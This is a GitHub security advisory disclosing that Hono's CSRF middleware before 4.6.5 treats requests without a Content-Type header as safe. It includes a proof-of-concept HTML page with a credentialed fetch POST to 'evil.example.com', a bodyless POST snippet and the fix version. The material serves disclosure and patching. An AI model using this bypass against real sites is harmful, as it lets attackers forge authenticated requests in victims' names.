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MEDIUM 5.9

GHSA-2234-fmw7-43wr

Hono allows bypass of CSRF Middleware by a request without Content-Type header.

Details

### Summary Bypass CSRF Middleware by a request without Content-Type herader.

### Details Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.

https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89

### PoC ```server.js // server.js import { Hono } from 'hono' import { csrf }from 'hono/csrf' const app = new Hono() app.use(csrf()) app.get('/', (c) => { return c.html('Hello Hono!') }) app.post('/', async (c) => { console.log("executed") return c.text( await c.req.text()) }) Deno.serve(app.fetch) ```

```poc.html <!-- PoC.html --> <script> async function myclick() { await fetch("http://evil.example.com", { method: "POST", credentials: "include", body:new Blob([`test`],{}), }); } </script> <input type="button" onclick="myclick()" value="run" /> ```

Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body. ```PoC2.js await fetch("http://localhost:8000", { method: "POST", credentials: "include"}); ```

### Impact Bypass csrf protection implemented with hono csrf middleware.

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Affected packages

npm / hono
Introduced in: 0 Fixed in: 4.6.5
Fix npm install hono@4.6.5

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